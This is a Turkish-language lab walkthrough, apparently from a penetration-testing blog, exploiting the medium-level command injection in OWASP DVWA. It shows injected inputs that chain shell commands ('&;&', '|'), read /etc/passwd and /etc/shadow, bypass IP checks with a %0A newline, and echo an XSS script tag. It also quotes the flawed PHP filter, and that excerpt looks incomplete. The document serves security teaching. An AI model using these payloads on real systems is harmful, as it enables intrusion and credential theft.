OWASP DVWA – Command Execution (Orta Seviye): Web Uygulama Açıklığının İstismar Edilerek İşletim Sistemi Üzerinde Komut Çalıştırma

0
1122
views
Web uygulamaları sızma testleri sırasında hedef uygulama üzerindeki bir kontrol eksikliği sebebi ile işletim sisteminde komut çalıştırılabilir. Bu yazıda, OWASP DVWA (Damn Vulnerable Web App) üzerindeki orta zorluk seviyesindeki Command Execution açıklığı istismar edilecek ve hedef uygulamayı barındıran işletim sistemi üzerinde komut çalıştırılacaktır.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

Metin alanına “127.0.0.1” gibi bir IP girildiğinde sonucun ekrana basıldığı görülmektedir.

127.0.0.1

 

Bunun yanında 2 komutu ardışık olarak çalıştırmak için “;” kullanıldığında, uygulamanın herhangi bir çıktı vermediği görülmektedir.

127.0.0.1; id

 

Benzer olarak “&&” kullanıldığında da uygulamanın herhangi bir çıktı vermediği görülmektedir.

127.0.0.1 && id

 

Bu karakterlerin filtrelendiği düşünülerek “&;&” kullanıldığında ise hedef işletim sisteminde belirtilen komutların çalıştırılabildiği görülmektedir.

127.0.0.1 &;& id

 

&;&” kullanılarak birden fazla komutun çalıştırıldığı da görülmektedir.

127.0.0.1 &;& id &;& uname -a &;& head -5 /etc/shadow &;& tail -5 /etc/passwd

 

Uygulama kullanıcısının (www-data) yetkisi olmadığı için “/etc/shadow” dosyasının okunamadığı ve herhangi bir hata mesajı ile karşılaşılmadığı da görülmektedir. Ayrıca bu ifadeden sonraki ifadelerin de ekrana yazdırılmadığı görülmektedir.

127.0.0.1 &;& id &;& uname -a &;& tail -5 /etc/passwd

 

Zafiyete sebep olan kod parçacığı aşağıdaki gibidir. “&&” ve “;” ifadelerinin bulunduğu karakterler silindiği için işletim sistemi seviyesinde kod çalıştırılabilmiş oldu.

$target = $_REQUEST[ ‘ip’ ];
$substitutions = array(‘&&’ => ”,’;’ => ”);
$cmd = shell_exec( ‘ping -c 3 ‘ . $target );
echo ‘<pre>’.$cmd.'</pre>’;

 

Bunun yanında “|” karakteri kara listeye alınmadığı için işletim sisteminde kod çalıştırılabilmektedir.

127.0.0.1 | id

Not: PHP preg_match fonksiyonunun kullanılması gibi bazı durumlarda, IP formatı kontrolü yapılabilmektedir. Bu gibi bir durumu atlatmak için yeni satır (%0A) bırakılarak komut çalıştırılabilir.

127.0.0.1%0Acat /etc/passwd

 

OWASP DVWA‘da bir uygulama zafiyeti başlığı altında birden fazla zafiyet de bulunabilmektedir. İşletim sisteminde çalışan komutun çıktısının ekrana basılması sırasında, XSS zafiyetinin olduğu da görülmektedir.

127.0.0.1 &;& echo “<script> alert(‘XSS de var’)</script>”

 

 

İlgili Kaynak Kod:

 

 

 

Kaynak:

http://www.includekarabuk.com/kategoriler/DVWAUygulamasi/Ders-5—Command-Injection-Medium-Level.php

 

 

 

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

Bu site, istenmeyenleri azaltmak için Akismet kullanıyor. Yorum verilerinizin nasıl işlendiği hakkında daha fazla bilgi edinin.